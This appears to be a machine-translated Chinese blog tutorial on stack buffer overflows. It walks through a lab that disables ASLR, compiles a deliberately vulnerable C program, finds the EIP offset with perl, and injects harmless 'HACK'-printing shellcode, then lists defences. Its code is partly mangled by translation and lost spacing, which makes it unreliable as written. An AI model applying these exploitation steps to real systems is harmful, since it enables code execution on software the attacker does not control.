最近一直在研究缓冲区溢出漏洞的攻击方式,但是这一块的内容还是需要很多相关的知识,比如编程语言的使用,反汇编工具等。所以要花很多时间去深入研究。这里简单总结一下学习,通过具体的实验案例简单分析一下缓冲区溢出。汇编语言和编程语言是基础,其次是反编译工具的使用:如gdb、IDApro、objdump等。学习汇编语言可以看王爽写的《汇编语言》,非常适合初学者学习。(对于初学者来说,必要的知识屏蔽很重要,本书就是按照这个思路写的,所以读这本书的感觉很流畅。)缓冲区溢出是一种常见的攻击方式,因为缓冲区漏洞很常见,也很容易实现.缓冲区溢出漏洞占远程网络攻击的绝大部分,成为远程攻击的主要手段。这类题目在CTF竞赛(pwn题)中也很流行。使用缓冲区溢出攻击会导致程序失败、系统崩溃等后果。更严重的是可以用来执行未经授权的指令,甚至可以获取系统权限进行各种非法操作。缓冲区溢出及其原理网上有很多关于缓冲区溢出的原理。这里举一个我觉得很好解释的实验例子。先看下面的例子:(注:这里的编译环境是CentOS5.0(32bit),其他版本的linux可能需要修改8、9行代码)首先,用C语言写一个程序,如下图,并将其保存为缓冲区。c文件。1.#include2.#include3.#include4.#include5.6.voidfunction(inta,intb,intc){7.字符缓冲区[8];//声明一个char类型的数组8.int*ret;9.ret=(int*)(缓冲区+16);10.(*ret)+=7;11.}12.13.intmain(){14.intx;15.x=99999;16.函数(1,2,3);17.x=1;18.printf("%d\n",x);19.返回0;20.}编译源程序如图1所示,执行#gccbuffer.c–obuffer.o命令编译源程序。(有些高版本的linux可以加上-fno-stack-protector-zexecstack参数来关闭保护措施。)执行程序如图1所示,执行./buffer.o命令,输出结果为99999.通过分析main函数的流程,应该是Output1,但是输出的是99999,原因出在function()函数上。原因分析下面一步步分析内存中的buffer.o程序和执行过程。一个程序在内存中通常分为程序段、数据段和栈。(1)程序段:存放程序机器码和只读数据(2)数据段:存放程序中的静态数据和全局变量(3)栈:存放内存中的动态数据和局部变量,其位置如下图所示图2所示的栈是一块连续的内存,用来存放数据。称为堆栈指针(SP)的寄存器标识堆栈顶部的位置,堆栈底部位于固定地址。(上图)图2简化为图3(下图),栈的增长是从低地址位向高地址位增长,而堆的增长正好相反。理论上,使用SP加上偏移量就可以引用局部变量。栈由逻辑栈帧组成,一个函数对应一个栈帧。当一个函数被调用时,逻辑栈帧被压入栈中。栈帧包括函数的参数,返回地址,EBP(EBP是当前函数的访问指针,即存数或读数时指针的基地址,可以看作是一个标准函数起始代码)和局部变量(如果函数有局部变量)。程序执行结束后,局部变量的内容会消失,但不会被清除。函数返回时,从栈中弹出逻辑栈帧,然后弹出EBP,将栈恢复到调用函数时的地址,最后将返回地址弹出到EIP(寄存器存放下一个CPU所在的内存地址)指令被存储,当CPU执行完当前指令后,从EIP寄存器中读取下一条指令的内存地址,然后继续执行。),从而继续运行程序。(想了解更多寄存器的可以看这篇文章:https://blog.csdn.net/chenlyc...)接下来我们看一下函数(1,2,3)函数,调用的过程函数的结构如图4所示:首先将参数压栈:在C语言中,压入参数的顺序是颠倒的,函数的三个参数3、2、1是按照from的顺序压入的回到前面。进入堆栈。然后将指令寄存器(ip)的内容存入栈中作为返回地址(return2);第三个入栈的是基地址寄存器EBP(sfp),然后将当前栈指针(sp)复制到EBP中作为新栈帧(sfp,栈帧指针)的基地址。这里我们准备进入函数功能。最后将栈指针(sp)减去适当的值(可以理解为指针从高地址位滑向低地址位),将局部变量(buffer和ret)压入栈中,执行语句ret=(int)第9行(buffer1+16);指针ret指向return2指向的存储单元;执行代码第10行的语句(ret)+=7;之后调用函数function()后的返回地址(return2指向的存储单元)指向第18行,第17行分开,溢出的数据覆盖了原来的返回地址,因此,程序的输出是99999。这是一个简单的堆栈溢出情况。缓冲区溢出攻击示例接下来,我们将考虑一段包含可利用的缓冲区溢出的代码,并演示基于它的攻击。在详细讨论缓冲区溢出攻击之前,请考虑可能爆发此类攻击的现实场景。假设网站上的一个Web表单要求用户输入数据,例如姓名、年龄、出生日期和其他相关信息。然后将输入的信息发送到服务器,该服务器将“名称”字段中输入的数据写入可容纳N个字符的缓冲区中。如果服务器软件不验证输入的名称的长度最多为N个字符,则可能会发生缓冲区溢出。如果溢出的数据是一段恶意代码,那么系统也有可能执行它并受到攻击。我这里使用的系统是ubuntu18.04(64位)。目前的硬件已经支持数据保护功能,即无法执行注入栈的指令。同时,目前的操作系统默认开启了地址随机化功能,因此很难猜测EIP注入的地址。这里需要先配置实验环境(这一步很重要,如果实验出现问题,很可能与环境配置有关):关闭地址随机化功能(这里可能会遇到权限问题,可以手动修改,把里面的值改成0即可):echo0>/proc/sys/kernel/randomize_va_space这个测试是用来编译32位程序的,不过现在常见的都是64位系统,可以安装gcc来编译32位程序使用的库:sudoapt-getinstalllibc6-dev-i3861.创建程序我们先来构建一段代码,命名为bo.c。(这里为了直接演示buffer漏洞攻击方法,省略了网络相关的部分。)1.#include2.#include3.4.intf()5.{6.charbuf[32];7.文件*fp;8.9.fp=fopen("test.txt","r");10.if(!fp){11.perror("fopen");12.}13.14.fread(buf,1024,1,fp);15.printf("数据:%s\n",buf);16.返回0;17.}18.19.intmain(intargc,char*argv[])20.{21.f();22.23。返回0;24.}简单分析一下这段代码出现溢出问题的原因:这段程序的作用是输出文件中的字符,其声明的buf数组的字符数为32,但是复制的最大字符数是1024个字符,所以如果文件的字符超过一定数量就会造成溢出,这些溢出的字符就会被程序执行。2、编译程序编译源程序,输入如下命令:gcc-Wall-g-fno-stack-protector-obobo.c-m32-Wl,-zexecstack这里添加几个参数,它们的作用是: -fno-stack-protector:关闭堆栈溢出检测功能 -m32:生成32位程序 -Wl,-zexecstack:支持堆栈端可执行文件,看解释就知道这些参数的原因被添加。编译完成后,我们简单介绍下如何利用溢出进行攻击。思路如下:同样沿用前面例子的原理。buf数组溢出后,从文件中读取的内容会沿着当前栈帧的高地址被覆盖,而栈顶存放的是上一个函数的返回地址(EIP),只要覆盖地址,我们可以修改程序的执行路径,让它运行文件中的代码。这种攻击一般也称为返回库函数攻击。因此,我们需要知道从文件中读取多少字节才能开始覆盖EIP。常见的方法有两种:一种是将程序反编译推导,另一种是进行基本的手工测试。第一种方法通常需要更深入的汇编知识,适用于不知道源代码的情况。这里我们已经知道了源码,也找到了问题所在,所以我们选择后者来尝试确定写入多少字节来覆盖EIP。3.覆盖EIP根据源码,我们新建一个text.txt文件,写字符试试。尝试的方法很简单。EIP之前的空格用'A'填充,EIP用'BBBB'填充。使用了两个不同的字母。为了便于找到边界。目前我们知道buf数组的大小是32个字符。您可以先尝试填写32'A'并附加'BBBB'。如果程序没有发生段错误(segmentfault),则每次添加4个'A'字符,不断尝试,直到程序运行时发生段错误。(我这里到48就出现segmentfault,32位系统是40左右。)如果'BBBB'刚好和EIP的位置对齐,那么函数返回的时候,EIP的内容就会给到PC指针,因为0x42424242(B的ascii码为0x42)是不可访问的地址,所以出现段错误,eip寄存器的值为0x42424242。这里可以手动输入文件中的字符,但毕竟麻烦,所以可以使用perl脚本来写(后面写shellcode也会用到)。做过的尝试如下:第一次:$perl-e'printf"A"x32。"B"x4'>测试.txt;文件中写的内容是:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB然后运行程序/bo结果:溢出,导致输出乱码,但没有段错误。第二次添加4个A字符:$perl-e'printf"A"x36。"B"x4'>测试.txt;./bo结果:这里也没有段错误。后面的步骤省略,直接出现segmentfault:$perl-e'printf"A"x48。"B"x4'>测试.txt;./bo结果:发生段错误。接下来使用调试工具gdb分析判断此时的EIP是否为0x42424242。1、在使用gdb之前,先输入:ulimit-cunlimited这个命令用来生成一个core文件。文档。2.然后再次运行上面的错误命令./bo这时候在当前目录下会出现一个core文件3.然后使用gdb分析程序:$gdb./bocore–q分析core文件,找到eip写为'0x424242'(BBBB),可以确定注入内容中的'BBBB'与EIP在栈中的存放位置对齐。找到EIP位置,我们就向成功迈出了一大步。值得注意的是,现在的系统有保护机制,所以查出eip的难度会大大增加。不过现在有更有效的方法,有兴趣的朋友可以深入学习。4、构造shellcode通过前面的步骤,我们可以控制EIP之后,接下来就是将二进制指令注入栈中,然后修改EIP来执行这段代码。那么当函数执行的时候,我们的指令就会被执行。通常我们把这条注入的指令称为shellcode,解释为这条指令是打开一个shell(bash),然后攻击者可以在shell中执行任意命令,所以称为shellcode。这里我们不需要写复杂的shellcode来打开shell。为了演示成功控制程序,我们可以让它在终端输出字符串“HACK”,然后程序退出。为了简单起见,我们构造的shellcode相当于下面两句C语言的效果:1.write(1,"HACK\n",5);2.退出(0);因为shellcode会直接操作寄存器和一些系统调用,所以shellcode的写法基本上就是用高级语言写一个程序然后编译反汇编得到16进制的opcode。当然你也可以直接写汇编,从二进制文件中提取十六进制操作码。下面是32位的x86汇编代码shell.s:1.BITS322.start:3.xoreax,eax4.xorebx,ebx5.xorecx,ecx6.xoredx,edx7.8.movbl,19.addesp,string-start10.movecx,esp11.movdl,512.moval,413.int0x8014.15.moval,116.movbl,117.decbl18.int0x8019.20.string:21.db"HACK",0xa再次编译程序:nasm-oshellshell.s然后反编译:ndisasmshell1得到如下结果:现在我们找到了位置的EIP,并且我们有要执行的shellcode,但是这个EIP应该修改什么值才能在函数返回时执行注入的shellcode呢?我们可以这样想,从栈的基本模型来看(下图),当函数返回时,弹出EBP(栈基址),将栈恢复到调用函数时的地址,然后弹出returnEIP和ESP寄存器值的地址(堆栈指针)向上移动,指向我们的shellcode。因此,当我们使用上面的注入内容生成内核时,ESP寄存器的值就是shellcode的起始地址,也就是EIP应该注入的值。5、注入shellcode我们知道,要成功执行shellcode,EIP的值必须是shellcode的起始地址。那么如何找到shellcode开始的地址呢?我们首先尝试将构造好的shellcode文本执行到程序中,使其生成新的内核。(这里要先删掉之前的core文件)$perl-e'printf"A"x48."B"x4."x31xc0x31xdbx31xc9x31xd2xb3x01x83xc4x1dx89xe1xb2x05xb0x04xcdx80xb0x01xb3x01xfexcbxcdx80x48x41x43x4bx0a"'>test.txt;./bo再执行gdb./bocore–q上面我们Youknow,thevalueofESPistheaddresswheretheshellcodestarts,andthecurrentvalueofESPis0xffffcf70,whichisthevalueofallEIPinjections(theaddressrandomizationfunctionmustbeturnedoffinthisstep).SinceX86isalittle-endianbyteorder,theinjectedbytestringneedstobechangedto"x70xcfxffxff"andthentheoriginalinjectedvalueofEIP'BBBB'ischangedto"x70xcfxffxff",sothattheaddresspointedtobyeipistheaddresswheretheshellcodestartsrunning.再次测试:$perl-e'printf"A"x48."x70xcfxffxff"."x31xc0x31xdbx31xc9x31xd2xb3x01x83xc4x1dx89xe1xb2x05xb0x04xcdx80xb0x01xb3x01xfexcbxcdx80x48x41x43x4bx0a"'>test.txt;./bo?结果:程序输出HACK字符串了,说明我们成功控制了EIP,并执行了shellcode.Ifthisshellcodeismorecomplicated,wecandomorethings.Thisisalsothesimplestexampleofabufferoverflowvulnerabilityattack.Thetechnologymentionedisalsoabitoutdated.Forthecurrentsystem,itisunlikelytowork.Butinanycase,itisveryhelpfulforinitiallearning.Alllearningcanstartfromthissimpleexampleandgodeeperstepbystep.Thendiscovermorewonderfulthingsinit.PreventivemeasuresforbufferoverflowattacksThepurposeofunderstandingtheattackprincipleistobetterdefend,andfinallybrieflyexplainhowtopreventsuchattacksfromhappening.(1)Closeunnecessaryprivilegedprograms.(2)Patchessystemandserviceprogramvulnerabilitiesinatimelymanner.(3)Mandatorytowritecorrectcode.(4)Makethebuffernon-executablethroughtheoperatingsystem,therebypreventingattackersfromimplantingattackcode.(5)Usethecompiler'sboundarychecktorealizebufferprotection.Thismethodmakesitimpossibleforbufferoverflowtooccur,therebycompletelyeliminatingthethreatofbufferoverflow,butthecostisrelativelyhigh.(6)Performanintegritycheckbeforetheprogrampointerbecomesinvalid.(七)完善系统内部安全机制。参考文章:https://blog.csdn.net/linyt/a...